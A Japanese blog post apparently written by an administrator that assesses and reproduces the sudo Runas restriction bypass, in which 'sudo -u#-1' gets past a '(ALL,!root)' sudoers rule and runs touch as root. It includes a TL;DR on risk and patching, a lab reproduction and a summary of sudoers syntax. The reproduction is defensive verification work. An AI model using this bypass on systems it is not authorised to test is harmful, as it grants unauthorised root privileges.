sudoで潜在的なRunasユーザの制限バイパスについての脆弱性が出たので、確認した。
summary (TL;DR)
- 影響を受けるユーザアカウントは限定的
- 既にsudoers登録がある
- "どのユーザとして実行できるか"でALLキーワードがある
- アップデートは実施したほうが良い
- リスク次第で、緊急 から 次のメンテタイミング、までの間で実施したい。
- 大半のシステムでは 緊急には該当しない と推定される
脆弱性概要
ALLキーワードで任意のユーザとして実行可能な場合、rootとして実行が可能
- 例えば
user00 (ALL) ALL
の場合は、もとからALL
だけなので、rootで実行可能 - ALLを制限している場合、例えば
user00 (ALL,!root)
の場合は、!root
部分をバイパス可能
ということは、以下の条件が必要
- アカウントが存在し
- sudoersに記載があり
- 任意のユーザとして実行可能な設定("(ALL)"等)があり
- rootを除外している((ALL,!root)等)
再現
前提
- 新規ユーザ suduvlun ユーザを作り、
touch
コマンドに「root以外の権限で実行」できるsudo権限を付与する。 - 本来は
$sudo touch hogehuga.txt
は実行できないが、本脆弱性を利用することで実行ができてしまう。
実行
root@desktop:~# passwd user00
新しい UNIX パスワードを入力してください:
新しい UNIX パスワードを再入力してください:
passwd: パスワードは正しく更新されました
root@desktop:~# visudo
# add touch privilege
user00 ALL=(ALL,!root) /usr/bin/touch
root@desktop:~# su - user00
user00@desktop:~$ pwd
/home/user00
user00@desktop:~$ touch hoge.txt
user00@desktop:~$ ls -lh hoge.txt
-rw-rw-r-- 1 user00 user00 0 10月 15 05:07 hoge.txt
user00@desktop:~$ sudo touch hogehoge.txt
[sudo] user00 のパスワード:
残念ですが、ユーザー user00 は'/usr/bin/touch hogehoge.txt' を root として desktop 上で実行することは許可されていません。
user00@desktop:~$ sudo -u#-1 touch hogehuga.txt
[sudo] user00 のパスワード:
user00@desktop:~$ ls -lh
合計 12K
-rw-r--r-- 1 user00 user00 8.8K 4月 16 2018 examples.desktop
-rw-rw-r-- 1 user00 user00 0 10月 15 05:07 hoge.txt
-rw-r--r-- 1 root user00 0 10月 15 05:08 hogehuga.txt
user00@desktop:~$
補足
sudoersの設定についてざっくりと以下の様になっている
HOST ACCOUNT = (USER:GROUP) COMMAND
- HOST
- 許可ホスト
- ACCOUNT
- sudo を許可するユーザ
- 今回は
user00
- USER
- sudoで成り代われるユーザ
- 今回はALLだが、rootは除外(!root)。root以外のユーザ権限で実行可能
- GROUP
- sudoで成り代われるユーザ
- 今回は設定なし
- COMMAND
- sudoで実行可能なコマンド
- 今回は
/usr/bin/touch
一次情報
- Exploiting the bug requires that the user have sudo privileges that allow them to run commands with an arbitrary user ID.